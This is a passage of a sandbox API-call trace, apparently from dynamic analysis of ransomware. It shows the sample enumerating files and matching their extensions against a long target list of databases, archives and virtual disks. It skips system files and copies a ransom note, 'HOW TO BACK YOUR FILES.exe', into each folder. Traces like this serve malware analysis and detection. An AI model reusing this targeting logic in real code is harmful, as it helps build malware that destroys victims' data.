	[0061.423] lstrlenW (lpString="rbf") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0061.424] lstrlenW (lpString="rctd") returned 4
	[0061.424] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0061.424] lstrlenW (lpString="rod") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0061.424] lstrlenW (lpString="rodx") returned 4
	[0061.424] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0061.424] lstrlenW (lpString="rpd") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0061.424] lstrlenW (lpString="rsd") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0061.424] lstrlenW (lpString="sas7bdat") returned 8
	[0061.424] lstrcmpiW (lpString1="zle.html", lpString2="sas7bdat") returned 1
	[0061.424] lstrlenW (lpString="sbf") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0061.424] lstrlenW (lpString="scx") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0061.424] lstrlenW (lpString="sdb") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0061.424] lstrlenW (lpString="sdc") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0061.424] lstrlenW (lpString="sdf") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0061.424] lstrlenW (lpString="sis") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0061.424] lstrlenW (lpString="spq") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0061.424] lstrlenW (lpString="te") returned 2
	[0061.424] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0061.424] lstrlenW (lpString="teacher") returned 7
	[0061.424] lstrcmpiW (lpString1="le.html", lpString2="teacher") returned -1
	[0061.424] lstrlenW (lpString="tmd") returned 3
	[0061.424] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0061.424] lstrlenW (lpString="tps") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0061.425] lstrlenW (lpString="trc") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0061.425] lstrlenW (lpString="trc") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0061.425] lstrlenW (lpString="trm") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0061.425] lstrlenW (lpString="udb") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0061.425] lstrlenW (lpString="udl") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0061.425] lstrlenW (lpString="usr") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0061.425] lstrlenW (lpString="v12") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0061.425] lstrlenW (lpString="vis") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0061.425] lstrlenW (lpString="vpd") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0061.425] lstrlenW (lpString="vvv") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0061.425] lstrlenW (lpString="wdb") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0061.425] lstrlenW (lpString="wmdb") returned 4
	[0061.425] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0061.425] lstrlenW (lpString="wrk") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0061.425] lstrlenW (lpString="xdb") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0061.425] lstrlenW (lpString="xld") returned 3
	[0061.425] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0061.425] lstrlenW (lpString="xmlff") returned 5
	[0061.426] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0061.426] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0061.426] lstrlenW (lpString="settings.html") returned 13
	[0061.426] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html") returned 86
	[0061.426] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0061.426] lstrlenW (lpString="settings.html") returned 13
	[0061.426] lstrlenW (lpString="Apollon865") returned 10
	[0061.426] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0061.426] lstrlenW (lpString=".dll") returned 4
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0061.426] lstrlenW (lpString=".lnk") returned 4
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0061.426] lstrlenW (lpString=".ini") returned 4
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0061.426] lstrlenW (lpString=".sys") returned 4
	[0061.426] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0061.426] lstrlenW (lpString="settings.html") returned 13
	[0061.426] lstrlenW (lpString="bak") returned 3
	[0061.426] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0061.427] lstrlenW (lpString="ba_") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0061.427] lstrlenW (lpString="dbb") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0061.427] lstrlenW (lpString="vmdk") returned 4
	[0061.427] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0061.427] lstrlenW (lpString="rar") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0061.427] lstrlenW (lpString="zip") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0061.427] lstrlenW (lpString="tgz") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0061.427] lstrlenW (lpString="vbox") returned 4
	[0061.427] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0061.427] lstrlenW (lpString="vdi") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0061.427] lstrlenW (lpString="vhd") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0061.427] lstrlenW (lpString="vhdx") returned 4
	[0061.427] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0061.427] lstrlenW (lpString="avhd") returned 4
	[0061.427] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0061.427] lstrlenW (lpString="db") returned 2
	[0061.427] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0061.427] lstrlenW (lpString="db2") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0061.427] lstrlenW (lpString="db3") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0061.427] lstrlenW (lpString="dbf") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0061.427] lstrlenW (lpString="mdf") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0061.427] lstrlenW (lpString="mdb") returned 3
	[0061.427] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0061.428] lstrlenW (lpString="sql") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0061.428] lstrlenW (lpString="sqlite") returned 6
	[0061.428] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0061.428] lstrlenW (lpString="sqlite3") returned 7
	[0061.428] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0061.428] lstrlenW (lpString="sqlitedb") returned 8
	[0061.428] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0061.428] lstrlenW (lpString="xml") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0061.428] lstrlenW (lpString="$er") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0061.428] lstrlenW (lpString="4dd") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0061.428] lstrlenW (lpString="4dl") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0061.428] lstrlenW (lpString="^^^") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0061.428] lstrlenW (lpString="abs") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0061.428] lstrlenW (lpString="abx") returned 3
	[0061.428] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0061.428] lstrlenW (lpString="accdb") returned 5
	[0061.428] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0061.428] lstrlenW (lpString="accdc") returned 5
	[0061.428] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0061.428] lstrlenW (lpString="accde") returned 5
	[0061.428] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0061.428] lstrlenW (lpString="accdr") returned 5
	[0061.428] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0061.428] lstrlenW (lpString="accdt") returned 5
	[0061.428] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0061.428] lstrlenW (lpString="accdw") returned 5
	[0061.428] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0061.429] lstrlenW (lpString="accft") returned 5
	[0061.429] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0061.429] lstrlenW (lpString="adb") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.429] lstrlenW (lpString="adb") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.429] lstrlenW (lpString="ade") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0061.429] lstrlenW (lpString="adf") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0061.429] lstrlenW (lpString="adn") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0061.429] lstrlenW (lpString="adp") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0061.429] lstrlenW (lpString="alf") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0061.429] lstrlenW (lpString="ask") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0061.429] lstrlenW (lpString="btr") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0061.429] lstrlenW (lpString="cat") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0061.429] lstrlenW (lpString="cdb") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0061.429] lstrlenW (lpString="ckp") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0061.429] lstrlenW (lpString="cma") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0061.429] lstrlenW (lpString="cpd") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0061.429] lstrlenW (lpString="dacpac") returned 6
	[0061.429] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0061.429] lstrlenW (lpString="dad") returned 3
	[0061.429] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0061.430] lstrlenW (lpString="dadiagrams") returned 10
	[0061.430] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0061.430] lstrlenW (lpString="daschema") returned 8
	[0061.430] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0061.430] lstrlenW (lpString="db-journal") returned 10
	[0061.430] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0061.430] lstrlenW (lpString="db-shm") returned 6
	[0061.430] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0061.430] lstrlenW (lpString="db-wal") returned 6
	[0061.430] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0061.430] lstrlenW (lpString="dbc") returned 3
	[0061.430] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0061.430] lstrlenW (lpString="dbs") returned 3
	[0061.430] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0061.430] lstrlenW (lpString="dbt") returned 3
	[0061.430] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0061.430] lstrlenW (lpString="dbv") returned 3
	[0061.430] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0061.430] lstrlenW (lpString="dbx") returned 3
	[0061.430] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0061.430] lstrlenW (lpString="dcb") returned 3
	[0061.430] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0061.430] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js"
	[0061.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0061.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0061.430] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned 70
	[0061.430] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js"
	[0061.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.431] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3caf7950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3caf7950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.435] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.435] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.435] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.435] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3caf7950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3caf7950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.435] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.435] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.435] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.435] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.435] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3caf7950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3caf7950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.435] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.435] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="Apollon865.txt.exe") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="..") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="windows") returned -1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="bootmgr") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="temp") returned -1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="pagefile.sys") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="boot") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="ids.txt") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="ntuser.dat") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="perflogs") returned 1
	[0061.435] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="MSBuild") returned 1
	[0061.435] lstrlenW (lpString="picturePuzzle.js") returned 16
	[0061.435] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*") returned 72
	[0061.435] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="picturePuzzle.js" | out: lpString1="picturePuzzle.js") returned="picturePuzzle.js"
	[0061.435] lstrlenW (lpString="picturePuzzle.js") returned 16
	[0061.436] lstrlenW (lpString="Apollon865") returned 10
	[0061.436] lstrcmpiW (lpString1="ePuzzle.js", lpString2="Apollon865") returned 1
	[0061.436] lstrlenW (lpString=".dll") returned 4
	[0061.436] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".dll") returned 1
	[0061.436] lstrlenW (lpString=".lnk") returned 4
	[0061.436] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".lnk") returned 1
	[0061.436] lstrlenW (lpString=".ini") returned 4
	[0061.436] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".ini") returned 1
	[0061.436] lstrlenW (lpString=".sys") returned 4
	[0061.436] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".sys") returned 1
	[0061.436] lstrlenW (lpString="picturePuzzle.js") returned 16
	[0061.436] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0061.436] lstrlenW (lpString="settings.js") returned 11
	[0061.436] lstrlenW (lpString="Apollon865") returned 10
	[0061.436] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0061.436] lstrlenW (lpString=".dll") returned 4
	[0061.436] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0061.436] lstrlenW (lpString=".lnk") returned 4
	[0061.436] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0061.436] lstrlenW (lpString=".ini") returned 4
	[0061.436] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0061.436] lstrlenW (lpString=".sys") returned 4
	[0061.436] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0061.436] lstrlenW (lpString="settings.js") returned 11
	[0061.436] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css"
	[0061.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0061.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0061.436] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned 71
	[0061.436] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css"
	[0061.437] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.437] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cb1dab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cb1dab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.443] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.443] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.443] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.443] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cb1dab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cb1dab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.443] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.443] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.443] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.443] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.443] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb1dab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cb1dab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.443] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.443] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1
	[0061.443] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="Apollon865.txt.exe") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".") returned 1
